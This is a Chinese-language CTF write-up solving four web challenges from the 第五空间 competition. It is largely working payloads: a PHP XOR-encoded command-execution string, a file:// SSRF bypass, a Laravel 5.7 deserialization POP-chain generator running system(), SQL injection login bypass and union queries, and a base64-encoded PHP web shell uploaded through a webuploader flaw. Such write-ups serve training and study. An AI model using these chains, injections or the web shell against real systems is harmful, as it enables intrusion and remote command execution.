第五空间 web wp

hate-php

php的${}可以解析表达式,那么利用异或符构造出_GET字符串,用来接收函数名和参数

$_GET[%ff]($_GET[%fd]())

php的数组中括号[]可被替代为{};然后传入函数名和参数,即可命令执行:

%ff=system&%fd=cat flag.php

完整payload:

?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(${%ff%ff%ff%ff^%a0%b8%ba%ab}{%fd})&%ff=system&%fd=cat%20flag.php

do you know

$_SERVER['QUERY_STRING']接收到url编码的请求参数不会解码,因此代码中:

$poc=$_SERVER['QUERY_STRING'];

$poc进行preg_match匹配时,可以将请求的参数值全部url编码便可绕过

之后在foreach中利用$_GET变量进行url赋值,$_GET接收到参数时会自动解码一次,因此可以正常利用file://进行ssrf

然后传参的时候让两个不同参数的值相等就行了

完整payload:

?a=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70&b=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70
// 即 file:///var/www/html/flag.php

laravel

查看composer.json,发现是laravel 5.7.*;看一下路由routes/web.php,有个/index,查看对应的TaskController这个控制器,发现存在反序列化点

搜索相关laravel反序列化文章

https://xz.aliyun.com/t/5483

发现这道题目与网上文章描述的不同,在vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php的PendingCommand类中的析构方法里并没有调用run()

在源码中搜索可用链子,一般入口为__destruct()

ImportConfigurator.php:

1
2
3
4
public function __destruct()
{
$this->parent->addCollection($this->route);
}

跟进addCollection:

1
2
3
4
5
6
7
8
9
10
11
12
13
public function addCollection(self $collection)
{
// we need to remove all routes with the same names first because just replacing them
// would not place the new route at the end of the merged array
foreach ($collection->all() as $name => $route) {
unset($this->routes[$name]);
$this->routes[$name] = $route;
}

foreach ($collection->getResources() as $resource) {
$this->addResource($resource);
}
}

没有可利用的,那么接着找到跳板魔法函数__call以及最终的命令执行函数call_user_func_array,发现Generator.php中同时存在这两个函数:

1
2
3
4
5
6
7
8
9
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

那么使parent属性等于Generator这个类,当它调用addCollection方法时会触发call,接着会调用call_user_func_array,便可控制回调函数从而进行命令执行

生成payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
protected $parent;
protected $route;
public function __construct($parent,$route){
$this->parent = $parent;
$this->route = $route;
}
}
}

namespace Faker{
class Generator{
protected $formatters;
public function __construct($formatters){
$this->formatters=$formatters;
}
}
}

namespace{
use Faker\Dispatcher;
use Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
$f = new Faker\Generator(array('addCollection'=>'system')); #func
$r = new ImportConfigurator($f, 'cat /flag'); # param
echo urlencode(serialize($r));
}
?>

美团外卖

找到登录入口点Login.php:

1
Login();

跟进到Function.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function Login(){
$x1=1;//用户名长度限制
$x2=1;//用户密码长度限制
if(strlen(P('username'))>0 and strlen(P('password'))>0){
if(1<0){
Nts('请输入信息登录');
}
else{
if(GetValue('admin.upass',"uname='".P('username')."' and id>0")==md5(P('password'))){
$_SESSION['adminuser']=array();
$_SESSION['adminuser']['uname'] = GetValue('admin.uname',"uname='".P('username')."' and id>0");
$_SESSION['adminuser']['id'] = GetValue('admin.id',"uname='".P('username')."' and id>0");
$_SESSION['adminuser']['qudao'] = GetValue('admin.qudao',"uname='".P('username')."' and id>0");
Tz('index');
}
else{
Nts('登录失败!');
}
}
}
}

发现传入的用户名和密码没有过滤SQL字段内容,这里便产生了注入点,username处通过union一个密码的md5,再使得password等于这个密码,便可绕过检测:

username=1'union select 'e10adc3949ba59abbe56e057f20f883e'#&password=123456

登录后发现什么功能也没有,而且lib目录访问不了;

接着看源码,发现daochu.php也存在SQL注入:

daochu.php?type=1&imei="union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3,4,5,6%23

得到表名:

admin,content,hint,mac,sms

查看hints字段:

/daochu.php?type=1&imei="union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='hint'),3,4,5,6%23

得到:

hints

查询内容,得到:

see_the_dir_956c110ef9decdd920249f5fed9e4427

进入到该目录,发现登录后可以正常的使用系统的功能了;而且发现可以正常访问lib目录了;源码的lib目录下有个webuploader 0.1.5组件,搜索发现该组件存在文件上传漏洞:

https://github.com/jas502n/webuploader-0.1.15-Demo

不过这个跟github上找到的还是有点区别:

1
2
3
4
if ($type === 'jpeg'||$type==='php') {
die("no hacker");
#$type = 'jpg';
}

直接POST:

data:image/php;base64,PD9waHANCiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ2NtZCddKSl7DQogICAgICAgICAgICBlY2hvICI8cHJlPiI7DQogICAgICAgICAgICAkY21kID0gKCRfUkVRVUVTVFsnY21kJ10pOw0KICAgICAgICAgICAgc3lzdGVtKCRjbWQpOw0KICAgICAgICAgICAgZWNobyAiPC9wcmU+IjsNCiAgICAgICAgICAgIGRpZTsNCiAgICB9DQogICAgcGhwaW5mbygpOw0KPz4=

会显示no hacker,然后把php改成phtml,就成了,而且上传的文件后缀是.php,懵逼,改成其他的也可以

data:image/phtml;base64,PD9waHANCiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ2NtZCddKSl7DQogICAgICAgICAgICBlY2hvICI8cHJlPiI7DQogICAgICAgICAgICAkY21kID0gKCRfUkVRVUVTVFsnY21kJ10pOw0KICAgICAgICAgICAgc3lzdGVtKCRjbWQpOw0KICAgICAgICAgICAgZWNobyAiPC9wcmU+IjsNCiAgICAgICAgICAgIGRpZTsNCiAgICB9DQogICAgcGhwaW5mbygpOw0KPz4=

访问文件,显示get file,然后传入参数?file=/flag拿到flag